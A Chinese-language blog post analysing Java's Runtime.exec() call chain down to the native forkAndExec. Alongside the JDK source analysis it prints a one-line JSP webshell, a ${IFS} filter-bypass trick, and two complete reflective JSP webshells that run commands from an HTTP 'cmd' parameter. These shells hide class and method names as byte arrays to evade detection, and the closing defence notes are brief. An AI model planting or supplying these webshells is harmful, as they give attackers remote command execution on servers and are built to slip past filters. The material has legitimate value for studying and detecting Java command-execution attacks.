Java本地命令执行

Java本地命令执行

Runtime

下面的命令是我们最常用到的Runtime.exec(xxx)的用法,本篇我们就从这里开始了解Java的本地命令执行

<%
    Runtime.getRuntime().exec(request.getParameter("cmd"));
%>

<%=Runtime.getRuntime().exec(request.getParameter("cmd"))%>

看到Runtime.getRuntime()这种获取实例对象的方式我们就可以大胆猜测这是一个单例类,查看文档,果不其然:每一个Java程序都有唯一一个Runtime实例

/**
 * Every Java application has a single instance of class
 * <code>Runtime</code> that allows the application to interface with
 * the environment in which the application is running. The current
 * runtime can be obtained from the <code>getRuntime</code> method.
 * <p>
 * An application cannot create its own instance of this class.
 *
 * @author  unascribed
 * @see     java.lang.Runtime#getRuntime()
 * @since   JDK1.0
 */

public class Runtime {
    private static Runtime currentRuntime = new Runtime();

    /**
     * Returns the runtime object associated with the current Java application.
     * Most of the methods of class <code>Runtime</code> are instance
     * methods and must be invoked with respect to the current runtime object.
     *
     * @return  the <code>Runtime</code> object associated with the current
     *          Java application.
     */
    public static Runtime getRuntime() {
        return currentRuntime;
    }

其中的exec()方法却有很多的重载方法:

public Process exec(String command)
public Process exec(String command, String[] envp)
public Process exec(String command, String[] envp, File dir)
public Process exec(String cmdarray[])
public Process exec(String[] cmdarray, String[] envp)
public Process exec(String[] cmdarray, String[] envp, File dir)

看到这种形式,我们大概也可以判断这些重载方法有很多的套娃,最简单的形式就是 exec(String command), 最自定义的方法那就是 exec(String[] cmdarray, String[] envp, File dir).

public Process exec(String command) throws IOException {
        return exec(command, null, null);
    }

public Process exec(String command, String[] envp) throws IOException {
        return exec(command, envp, null);
    }
public Process exec(String command, String[] envp, File dir)
        throws IOException {
        if (command.length() == 0)
            throw new IllegalArgumentException("Empty command");

        StringTokenizer st = new StringTokenizer(command);
        String[] cmdarray = new String[st.countTokens()];
        for (int i = 0; st.hasMoreTokens(); i++)
            cmdarray[i] = st.nextToken();
        return exec(cmdarray, envp, dir);
    }

通过上面的套娃加上文档我们得知:

  • String command为必要的参数,用来表明需要执行的系统命令
  • String[] envp为可选参数,为一个String数组,其中包含name=value格式的元素,表示环境变量设置,如果为空则默认继承当前进程的环境
  • File dir为可选参数,表示方法所返回的Process(子进程)对象所处的工作目录,如果为空则默认继承当前进程的工作目录
  • 最终都会放到执行public Process exec(String[] cmdarray, String[] envp, File dir)中执行

我们注意到这里将 command 使用 StringTokenizer经过了处理转换成了字符串数组,我们就稍微来看看这个类做了什么吧

class StringTokenizer implements Enumeration<Object> {
... ...
    /**
     * Constructs a string tokenizer for the specified string. The
     * tokenizer uses the default delimiter set, which is
     * \t\n\r\f: the space character,
     * the tab character, the newline character, the carriage-return character,
     * and the form-feed character. Delimiter characters themselves will
     * not be treated as tokens.
     *
     * @param   str   a string to be parsed.
     * @exception NullPointerException if str is null
     */
    public StringTokenizer(String str) {
        this(str, " \t\n\r\f", false);
    }
... ...

首先这个类实现了 Enumeration<Object> 接口,这就能够解释生成的对象可以使用 hasMoreTokens() 以及 st.nextToken() 这种很像迭代器方法的东西,接着是这个构造器也说明了最简单的功能就是用四种分隔符将字符串进行分割。

那么如果我们的命令因为String -> String[]的原因被分割开不能顺利执行的时候,就可以考虑对这四种分隔符进行绕过,比如使用${IFS}来绕过空格过滤:

private static void outputCommand(String cmd){
        StringTokenizer st = new StringTokenizer(cmd);

        String[] cmdarray = new String[st.countTokens()];

        for (int i = 0; st.hasMoreTokens(); i++) {
            cmdarray[i] = st.nextToken();
            System.out.println(cmdarray[i]);
        }
    }
    public static void main(String[] args) {
        String cmd = "ls -la";
        String cmdBypass ="ls${IFS}-la";

        outputCommand(cmd);

        System.out.println("Use ${IFS} to bypass:");
        outputCommand(cmdBypass);

    }

结果:

ls
-la
Use ${IFS} to bypass:
ls${IFS}-la

接下来我们来具体这个最后的exec:

public Process exec(String[] cmdarray, String[] envp, File dir)
        throws IOException {
        return new ProcessBuilder(cmdarray)
            .environment(envp)
            .directory(dir)
            .start();
    }

我们可以观察到这里返回了一个新的ProecessBuilder对象,那么就跟随进去一起看看

ProcessBuilder

在学习的ProcessBuilder的时候,本来想着再找一篇具体介绍的文章来学习一下,但是突然发现还是文档靠谱啊,从作用以及用法都会讲解一遍,非常的通俗易懂,接下来我们也来稍微一起看看吧

“This class is used to create operating system processes. Each ProcessBuilder instance manages a collection of process attributes. The start() method creates a new Process instance with those attributes. The start() method can be invoked repeatedly from the same instance to create new subprocesses with identical or related attributes.”

ProcessBuidler顾名思义就是用来创建进程的类,每一个实例都会管理很多进程的属性,并用 start() 方法来启动一个新的进程。同时一个ProcessBuidler 进程构造器实例可以重复调用 start() 方法来创造子进程。

“Each process builder manages these process attributes:

  • a command, a list of strings which signifies the external program file to be invoked and its arguments, if any.
  • an environment, which is a system-dependent mapping from variables to values. The initial value is a copy of the environment of the current process (see System.getenv()).
  • a working directory. The default value is the current working directory of the current process, usually the directory named by the system property user.dir.
  • a source of standard input. By default, the subprocess reads input from a pipe. Java code can access this pipe via the output stream returned by Process.getOutputStream(). However, standard input may be redirected to another source using redirectInput. In this case, Process.getOutputStream() will return a null output stream, for which:
    • the write methods always throw IOException
    • the close method does nothing

… …”

每一个进程构造器都管理着如下属性:

  • command命令,表示该进程需要执行的命令(文件)以及相关的参数
  • environment 环境变量,保持我们之前提到过的格式,String[]中的所有元素都是name=value的形式
  • working directory 工作目录
  • source of standard input 标准输出源

这时候我们再来看之前的exec方法就能明白就是在设置这些属性了

public Process exec(String[] cmdarray, String[] envp, File dir)
    throws IOException {
    return new ProcessBuilder(cmdarray)
        .environment(envp)
        .directory(dir)
        .start();
}

接着我们继续看用来启动进程的方法 start()

  public Process start() throws IOException {
        // Must convert to array first -- a malicious user-supplied
        // list might try to circumvent the security check.
        // 确保输入的命令是字符串数组的形式
        String[] cmdarray = command.toArray(new String[command.size()]);
        cmdarray = cmdarray.clone();

        for (String arg : cmdarray)
            if (arg == null)
                throw new NullPointerException();
        // Throws IndexOutOfBoundsException if command is empty
... ...
        try {
            return ProcessImpl.start(cmdarray,
                                     environment,
                                     dir,
                                     redirects,
                                     redirectErrorStream);
        } catch (IOException | IllegalArgumentException e) {
... ...
                }
    }

下一步就是ProcessImpl

ProcessImpl & UNIXProcess

“This class is for the exclusive use of ProcessBuilder.start() to create new processes.”

到了ProcessImpl类就真的是用来专门用来创建线程的类了!

我们直接看start()方法,其中又套了一层娃,还得到UNIXProcess里去,不过这个是jdk9之前的做法,在jdk9+的版本里,UNIXProcess已经被合并到ProcessImpl里了,后面我们可以看到代码

Figure 1: jdk9中的更新,将UNIXProcess并入ProcessImpl

Figure 1: jdk9中的更新,将UNIXProcess并入ProcessImpl

static Process start(String[] cmdarray,
                         java.util.Map<String,String> environment,
                         String dir,
                         ProcessBuilder.Redirect[] redirects,
                         boolean redirectErrorStream)
        throws IOException
    {
... ...
        try {
... ...
        return new UNIXProcess
            (toCString(cmdarray[0]),
             argBlock, args.length,
             envBlock, envc[0],
             toCString(dir),
                 std_fds,
             redirectErrorStream);
        } finally {
... ...
        }
    }

进入UNIXProcess,发现最后的方法: forkAndExec 这是一个native方法,我们之前说过,native方法就是用C语言编写的方法了

UNIXProcess(final byte[] prog,
                final byte[] argBlock, final int argc,
                final byte[] envBlock, final int envc,
                final byte[] dir,
                final int[] fds,
                final boolean redirectErrorStream)
            throws IOException {

        pid = forkAndExec(launchMechanism.ordinal() + 1,
                          helperpath,
                          prog,
                          argBlock, argc,
                          envBlock, envc,
                          dir,
                          fds,
                          redirectErrorStream);
... ...
    }

jdk9+

    private ProcessImpl(final byte[] prog,
                final byte[] argBlock, final int argc,
                final byte[] envBlock, final int envc,
                final byte[] dir,
                final int[] fds,
                final boolean forceNullOutputStream,
                final boolean redirectErrorStream)
            throws IOException {

        pid = forkAndExec(launchMechanism.ordinal() + 1,
                          helperpath,
                          prog,
                          argBlock, argc,
                          envBlock, envc,
                          dir,
                          fds,
                          redirectErrorStream);
... ...
    }

接下来我们动态调试一下,

参数:

?cmd=/bin/sh%20-c%20ls

Figure 2: forkAndExec动态调试

Figure 2: forkAndExec动态调试

Figure 3: prog &amp; argBlock的值

Figure 3: prog & argBlock的值

其中prog的值为 “/bin/sh”,并以’\x00’C语言的结束符号结束;

同样的argBlock的值为"-c ls",其中也用 ‘\x00’ 结束符来间隔和结尾

为什么我们要一探到底?

到此为止我们就已经探到底了,再找只能是看C语言代码了,那么问题来了,为什么我们要这样一层层找下来呢?

原因也很简单,就是为了提供更多的反射的可能,在实际的情况中(目前是我猜的),反射会收到诸多限制,但是我们看到调用链中的一个个方法都可以是我们反射的切入点,进而执行我们想要的命令。

Runtime.exec(xxx)调用链总结

在我们看一些具体的反射的例子之前,我们再来总结一下Runtime.exec()的整一个调用链

  • Runtime中的六种exec()方法,一般情况下,我们只需要关心String[] cmdarray以及Strint command,主要这里会用StringTokenizer进行分割,其他两个参数可以直接填null
public Process exec(String command)
public Process exec(String command, String[] envp)
public Process exec(String command, String[] envp, File dir)
public Process exec(String cmdarray[])
public Process exec(String[] cmdarray, String[] envp)
public Process exec(String[] cmdarray, String[] envp, File dir)
  • ProcessBuilder的start()方法

    new ProcessBuilder(cmdarray).start()
    

Figure 4: Runtime.exec() &amp; ProcessBuilder(cmdarray).start()

Figure 4: Runtime.exec() & ProcessBuilder(cmdarray).start()

  • ProcessImpl & UNIXProcess
    • jdk9之前

      ProcessImpl.start(cmdarray,
                        environment,
                        dir,
                        redirects,
                        redirectErrorStream);
      

Figure 5: ProcessImpl.start()参数

Figure 5: ProcessImpl.start()参数

new UNIXProcess
            (toCString(cmdarray[0]),
             argBlock, args.length,
             envBlock, envc[0],
             toCString(dir),
                 std_fds,
             redirectErrorStream);

Figure 6: UNIXProcess + forkAndExec

Figure 6: UNIXProcess + forkAndExec

  • jdk9+

        private ProcessImpl(final byte[] prog,
                    final byte[] argBlock, final int argc,
                    final byte[] envBlock, final int envc,
                    final byte[] dir,
                    final int[] fds,
                    final boolean forceNullOutputStream,
                    final boolean redirectErrorStream)
                throws IOException {
    
            pid = forkAndExec(launchMechanism.ordinal() + 1,
                              helperpath,
                              prog,
                              argBlock, argc,
                              envBlock, envc,
                              dir,
                              fds,
                              redirectErrorStream);
    ... ...
        }
    

反射例子

反射Runtime.exec()

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@page import="java.io.InputStream" %>
<%@page import="java.lang.reflect.Method" %>
<%@page import="java.util.Scanner"%>


<html>
<head>
    <title>Reflect Runtime.exec()</title>
</head>
<body>
<h2>Reflect Runtime.exec()</h2>
<%
  String str = request.getParameter("cmd");

  // 反射 java.lang.Runtime Class对象
  Class<?> c = Class.forName(new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101}));

  // public getRuntime() 反射获取单例类的唯一对象的方法
  Method m1 = c.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101}));

  // 反射exec方法
  Method m2 = c.getMethod(new String(new byte[] {101, 120, 101, 99}), String.class);

  // 调用exec方法返回
  // m2.invoke(Runtime对象,cmd命令)
  // m1
  /*
   调用exec方法返回
   m2.invoke(Runtime对象,cmd命令)
   m1.invoke(null, new Object[]) getRuntime为static方法,故为null
   */
  Object obj1 = m2.invoke(m1.invoke(null, new Object[]{}), (Object[]) new String[]{str});
//  Object obj1 = m2.invoke(m1.invoke(null, new Object[]{}), new Object[]{str});
  // 反射获取Process类的getInputStream方法
  Method m3 = obj1.getClass().getMethod(new String(new byte[] {103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}), null);
  m3.setAccessible(true);

  Scanner s = new Scanner((InputStream) m3.invoke(obj1, new Object[]{})).useDelimiter("\\A");
  String result = s.hasNext() ? s.next() : "";
  out.print(result);
%>
</body>
</html>

反射UNIXProces/ProcessImpl

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@page import="java.lang.reflect.Constructor" %>
<%@page import="java.lang.reflect.Method" %>
<%@page import="java.util.Scanner" %>
<%@ page import="java.io.*" %>
<html>
<head>
    <title>ReflectUNIXProcess</title>
</head>
<body>
<h2>ReflectUNIXProcess</h2>
<%!
    byte[] toCString(String str) {
        if (str == null) {
            return null;
        }

        byte[] bytes = str.getBytes();
        byte[] result = new byte[bytes.length + 1];
        System.arraycopy(bytes, 0, result, 0, bytes.length);

        result[result.length - 1] = (byte) 0;
        return result;
    }
%>
<%!
    InputStream start(String[] cmds) throws Exception {
        Class clazz = null;
        try {   // 反射类对象 java.lang.UNIXProcess, jdk9以前
            clazz = Class.forName(new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 85, 78, 73, 88, 80, 114, 111, 99, 101, 115, 115}));
        } catch (ClassNotFoundException e) {  // 反射类对象 java.lang.ProcessImpl, jdk9+
            clazz = Class.forName(new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 80, 114, 111, 99, 101, 115, 115, 73, 109, 112, 108}));
            ;
        }
        // 反射default 构造器
        Constructor<?> constructor = clazz.getDeclaredConstructors()[0];
        constructor.setAccessible(true);

        assert cmds != null && cmds.length > 0;

        byte[][] args = new byte[cmds.length - 1][];

        int size = args.length;

        for (int i = 0; i < args.length; i++) {
            args[i] = cmds[i + 1].getBytes();
            size += args[i].length;
        }

        byte[] argBlock = new byte[size];
        int i = 0;

        for (byte[] arg : args) {
            System.arraycopy(arg, 0, argBlock, i, arg.length);
            i += arg.length + 1;
        }

        int[] envc = new int[1];
        int[] std_fds = new int[]{-1, -1, -1};

        FileInputStream f0 = null;
        FileOutputStream f1 = null;
        FileOutputStream f2 = null;

        try {
            if (f0 != null) f0.close();
        } finally {
            try {
                if (f1 != null) f1.close();
            } finally {
                if (f2 != null) f2.close();
            }
        }

        Object obj = constructor.newInstance(toCString(cmds[0]),
                argBlock,
                args.length,
                null,
                envc[0],
                null,
                std_fds,
                false);

        Method inMethod = obj.getClass().getDeclaredMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));
        inMethod.setAccessible(true);
        return (InputStream) inMethod.invoke(obj);

    }

    String inputStreamToString(InputStream in, String charset) throws IOException {
        try {
            if (charset == null) {
                charset = "UTF-8";
            }

            ByteArrayOutputStream out = new ByteArrayOutputStream();
            int a = 0;
            byte[] b = new byte[1024];

            while ((a = in.read(b)) != -1) {
                out.write(b, 0, a);
            }

            return new String(out.toByteArray());
        } catch (IOException e) {
            throw e;
        } finally {
            if (in != null)
                in.close();
        }
    }

%>
<%
    String[] str = request.getParameterValues("cmd");

    if (str != null) {
        InputStream in = start(str);
        String result = inputStreamToString(in, "UTF-8");
        out.println("<pre>");
        out.println(result);
        out.println("</pre>");
        out.flush();
        out.close();
    }
%>
</body>
</html>

防御

  • 添加钩子函数监测命令执行(RASP)
  • 监测输入命令,过滤非法命令

Reference

『Java安全』shell命令执行的几种方式与Runtime.exec()本地命令执行漏洞调用分析

Java本地命令执行

Licensed under CC BY-NC-SA 4.0
Last updated on Sep 24, 2022 15:06 CST
comments powered by Disqus
Cogito, ergo sum
Built with Hugo
Theme Stack designed by Jimmy